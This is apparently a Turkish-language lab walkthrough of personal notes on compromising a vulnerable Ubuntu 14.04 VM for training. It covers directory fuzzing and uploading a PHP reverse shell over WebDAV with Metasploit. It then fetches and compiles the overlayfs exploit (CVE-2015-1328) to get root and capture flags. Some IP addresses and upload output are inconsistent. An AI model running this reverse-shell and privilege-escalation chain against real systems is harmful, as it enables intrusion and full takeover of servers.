Overlayfs Açıklığını Sömürme ve Linux Sistemde Yetki Yükseltme

(+) Birebir denenmiştir ve başarılı olunmuştur.

Gereksinimler

- Kali 2023.1 (Windows Host Üzerinden Web Guvenligi Egitimi) VM
- Overlayfs Vuln - Ubuntu 14.04 LTS Linux Server VM

~/Ubuntu Çalışma Notlarım / 6. Zafiyetli VM Hazırlama / Overlayfs Vuln - Ubuntu 14.04 LTS Linux Server VM Hazırlama.docx dökümanında vm hazırlama notları mevcuttur.

Tanım

- Overlayfs (CVE-2015-1328) belirli linux kernel versiyonlarındaki bir yetki yükseltme açıklığıdır.

Senaryo

- Hedef sistem dizinleri dir fuzzing yapılarak taranır.
- Hedef sistem dizinlerinde webdav servisine ait default dizin tespit edilir.
- Hedef sistemdeki webdav servisi üzerinden shell upload'lanır.
- Ters kabuk kağlantısı yakalanır.
- Sızılan sistemde overlayfs post-exploitation'ı yapılır ve yetki root hakkına yükseltilir.

Adımlar

- **Keşif**

  ✓ DirFuzzing

  Kali 2023.1 VM Terminal:

  > dirb http://HEDEF_IP/

  Çıktı:

  …
  webdav
  …

- **Exploitation**

  ✓ Php Reverse Shell Dosyasını Yapılandırma

  Kali 2023.1 VM Terminal:

  > cd /home/kali/Desktop/
  > nano php_reverse_shell.php

  …
  $ip='**KALI_LINUX_IP_OLACAK**';

…

✓ WebDAV Servisi Üzerinden Shell'i Upload'lama

Kali 2023.1 VM Terminal:

> msfconsole
> use auxiliary/scanner/http/http_put
> set RHOSTS 172.16.3.72 // Ubuntu 14.04 LTS ip'si
> set FILEDATA file://home/kali/Desktop/php_reverse_shell.php
> set PATH /webdav/
> set FILENAME php_reverse_shell.php
> run

Çıktı:

[-] 172.16.3.72: File doesn't seem to exist. The upload probably failed.
[*] Scanned 1 of 1 hosts (100% complete)
[*]Auxiliary module execution completed

✓ Ters Kabuk Bağlantısını Dinleme Moduna Geçme

Kali 2023.1 VM Terminal:

> use exploit/multi/handler
> set PAYLOAD php/reverse_php
> set LHOST 172.16.3.71 // Kali Linux 2023.1 Ip'si
> set LPORT 4443 // Kali Linux 2023.1 Port'u
> run

✓ Ters Kabuk Bağlantısını Yakalama

Kali 2023.1 VM Web Browser:

> http://**UBUNTU_14_04_SERVER_VM**/webdav/php_reverse_shell.php

Kali 2023.1 VM Terminal:

[*] Started reverse TCP handler on 192.168.68.111:4443
[*] Command shell session 1 opened (192.168.68.111:4443 ->
192.168.68.110:57467) at 2024-06-27 08:46:29 -0400

Shell Banner:
/bin/sh: 0: can't access tty; job control turned off
$

$ whoami
www-data

$

- **Post-Exploitation**

  ✓ Sızılan Sistemde İlk Flag Kontrol Edilir ve Yakalanır.

  Saldırgan normal koşullarda kullanıcı ve root kullanıcı home dizinlerini araştırmalıdır.

  Kali 2023.1 VM Terminal:

  [*] Started reverse TCP handler on 192.168.68.111:4443
  [*] Command shell session 1 opened (192.168.68.111:4443 -> 192.168.68.110:57467) at 2024-06-27 08:46:29 -0400

  Shell Banner:
  /bin/sh: 0: can't access tty; job control turned off
  $

  $ cd /home/user/
  $ ls

  user_flag.txt

  $ cat user_flag.txt

  f4e690f638c01bd8a19fb1349d40519c -

  ✓ Sızılan Sistemde İkinci Flag Kontrol Edilir ve Mevcut Yetkide Yakalanamaz.

  Saldırgan kullanıcının home dizinindeki flag'i kaptı. root kullanıcısının home dizinine gidemez.

  Kali 2023.1 VM Terminal:

  Shell Banner:
  /bin/sh: 0: can't access tty; job control turned off
  $

  $ cd /root/

  /bin/sh: 68: cd: can't cd to root

  ✓ Sızılan Sistemde Mevcut Yetki Durumu Kontrol Edilir

  Kali 2023.1 VM Terminal:

  Shell Banner:
  /bin/sh: 0: can't access tty; job control turned off
  $

$ whoami

www-data

$ id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

✓ Sızılan Sistemde Yetki Yükseltilir

Kali 2023.1 VM Terminal:

Shell Banner:
/bin/sh: 0: can't access tty; job control turned off
$

$ cd /var/www/html/webdav/
$ wget https://www.exploit-db.com/raw/37292

[

NOT:

37292 dosyasının yedek disklerde

~/Downloads/Dirty Cow Vuln VM Materyalleri.zip

zip içerisinde yedeği alındı.

]

--2024-06-27 15:51:49-- https://www.exploit-db.com/raw/37292
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|
192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: '37292'

0K .... 100% 204M=0s

2024-06-27 15:51:50 (204 MB/s) - '37292' saved [5119/5119]

$ ls

37292
php_reverse_shell.php

$ mv 37292 37292.c
$ gcc 37292.c -o 37292
$ ls

37292
37292.c
php_reverse_shell.php

$ ./37292

spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
#

- ✓ Sızılan Sistemde Mevcut Yetki Durumu Tekrar Kontrol Edilir.

Kali 2023.1 VM Terminal:

Shell Banner:
/bin/sh: 0: can't access tty; job control turned off
$

 # whoami

root

 # id

uid=0(root) gid=0(root) groups=0(root),33(www-data)

Görüldüğü gibi www-data'dan root hakkına yetki yükseltme başarılı olmuştur.

- ✓ Sızılan Sistemde İkinci Flag Yakalanır.

Shell Banner:
/bin/sh: 0: can't access tty; job control turned off
$

 # cd /root
 # ls

root_flag.txt

 # cat root_flag.txt

c8aaf0f3189e000006c305bbfcbeb790 -

Kaynaklar:

https://github.com/AbdullahRizwan101/Vulnerable-Machine
https://www.exploit-db.com/raw/37292
https://reflare.com/research/understanding-the-post-exploitation-jargon-and-concepts